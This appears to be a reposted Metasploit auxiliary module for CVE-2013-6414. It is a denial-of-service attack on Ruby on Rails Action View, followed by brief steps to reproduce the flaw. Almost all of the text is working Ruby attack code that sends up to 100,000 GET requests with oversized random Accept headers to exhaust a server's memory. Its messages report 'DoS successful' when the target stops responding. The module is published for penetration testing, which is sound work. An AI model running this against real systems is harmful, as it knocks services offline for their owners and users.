Ruby on Rails Action View MIME Memory Exhaustion

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion',  
'Description' => %q{  
This module exploits a Denial of Service (DoS) condition in Action View that requires  
a controller action. By sending a specially crafted content-type header to a Rails  
application, it is possible for it to store the invalid MIME type, and may eventually  
consume all memory if enough invalid MIMEs are given.  
  
Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.  
},  
'Author' =>  
[  
'Toby Hsieh', # Reported the issue  
'joev', # Metasploit  
'sinn3r' # Metasploit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-6414' ],  
[ 'OSVDB', '100525' ],  
[ 'BID', '64074' ],  
[ 'URL', 'https://seclists.org/oss-sec/2013/q4/400' ],  
[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]  
],  
'DisclosureDate' => '2013-12-04'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),  
OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60000]),  
OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),  
OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000])  
],  
self.class)  
end  
  
def host  
host = datastore['RHOST']  
host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80  
host  
end  
  
def long_string  
Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])  
end  
  
#  
# Returns a modified version of the URI that:  
# 1. Always has a starting slash  
# 2. Removes all the double slashes  
#  
def normalize_uri(*strs)  
new_str = strs * "/"  
  
new_str = new_str.gsub!("//", "/") while new_str.index("//")  
  
# Makes sure there's a starting slash  
unless new_str.start_with?("/")  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def http_request  
uri = normalize_uri(datastore['URIPATH'])  
  
http = ''  
http << "GET #{uri} HTTP/1.1\r\n"  
http << "Host: #{host}\r\n"  
http << "Accept: #{long_string}\r\n"  
http << "\r\n"  
  
http  
end  
  
def run  
begin  
print_status("Stressing the target memory, this will take quite some time...")  
datastore['RLIMIT'].times { |i|  
connect  
datastore['REQCOUNT'].times { sock.put(http_request) }  
disconnect  
}  
  
print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_status("Unable to connect to #{host}.")  
rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error  
print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")  
ensure  
disconnect  
end  
end  
end  
  
=begin  
  
Reproduce:  
  
1. Add a def index; end to ApplicationController  
2. Add an empty index.html.erb file to app/views/application/index.html.erb  
3. Uncomment the last line in routes.rb  
4. Hit /application  
  
=end  
`